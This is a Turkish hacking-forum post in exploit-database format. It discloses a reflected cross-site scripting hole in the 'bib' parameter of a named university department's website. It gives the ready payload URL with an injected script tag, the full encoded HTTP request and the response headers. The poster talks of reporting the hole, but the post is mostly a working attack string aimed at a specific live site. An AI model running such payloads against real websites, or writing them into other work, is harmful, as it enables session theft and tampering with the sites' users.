Ehb.itu.edu.tr Açıkı / Party 1

Dj_Taleh
Konu Özeti

İstanbul Teknik Üniversitesi Elektronik ve Haberleşme Mühendisliği Bölümü web sitesinde (ehb.itu.edu.tr) bir XSS (Cross-Site Scripting) güvenlik açığı tespit edilmiştir. Açık, /index.php sayfasındaki 'bib' parametresi üzerinden gerçekleşmekte olup, özel hazırlanmış bir URL ile tarayıcıda JavaScript kodu çalıştırılmasına olanak tanımaktadır. Exploit, 4 Mart 2020 tarihinde Dj_Taleh tarafından yayınlanmış ve CWE-79 olarak sınıflandırılmıştır. Saldırı örneğinde prompt(912383) fonksiyonu kullanılarak açığın varlığı gösterilmiştir.

Status
Not open for further replies.
Bir an Önce Bildirmemiz Lazım
Bi Kaç Dakka Önce Buldum.
Devami Vardır...

Code: 
# Exploit Title : İstanbul Teknik University Elektronik ve Haberleşme Mühendisliği Bölümü XSS

# Author [ Discovered By ] : Dj_Taleh  / SpyHackerz.Org

# Date : 04/03/2020

# Vendor Homepage : http://www.ehb.itu.edu.t r/

# Tested On : Windows and Linux

# Category : WebApps

# Exploit Risk : Medium

# Vulnerability Type : CWE-79


/index.php?bib='"()&%1<ScRiPt >prompt(912383)</ScRiPt>&id=bibtexbrowser&lang=tr&year=2016


Request

GET /index.php?bib=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28912383%29%3c%2fScRiPt%3e&id=bibtexbrowser&lang=tr&year=2016 HTTP/1.1

Host: www.ehb.itu.edu.t r

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Accept: */*



Response


HTTP/1.1 200 OK
Date: Mon, 02 Mar 2020 20:59:17 GMT
Server: Apache
Vary: Accept-Encoding
Cache-Control: private, must-revalidate
Expires: Mon, 02 Mar 2020 21:09:17 GMT
Content-Length: 17802
Keep-Alive: timeout=15, max=31
Connection: Keep-Alive
Content-Type: text/html

🔒 Bu içeriği görmek için giriş yapın

 
Status
Not open for further replies.
136,500Threads
3,306,068Messages
328,352Members
scorp121Latest member

About Us & Legal Notice

Yasal Uyarı: spyhackerz.org, 5651 sayılı Kanun kapsamında “Yer Sağlayıcı”dır. Sitedeki içerikler, X, Instagram ve Facebook’ta olduğu gibi, ön onay olmadan tamamen kullanıcılar tarafından paylaşılır. Bu nedenle spyhackerz.org, kullanıcı içeriklerini veya hukuka aykırı paylaşımları izlemek, denetlemek ve araştırmakla yükümlü değildir.

Site bünyesinde herhangi bir “saldırı ekibi” bulunmamaktadır ve Türkiye’deki internet sitelerine yönelik zararlı faaliyet yürütülmez. SPYHACKERZ, üyelerin bireysel olarak gerçekleştirdiği hacking içerikli forum faaliyetlerinden sorumlu değildir. spyhackerz.org adı kullanılarak bir saldırı yapılması halinde tüm sorumluluk yalnızca ilgili üyeye aittir.
Top Bottom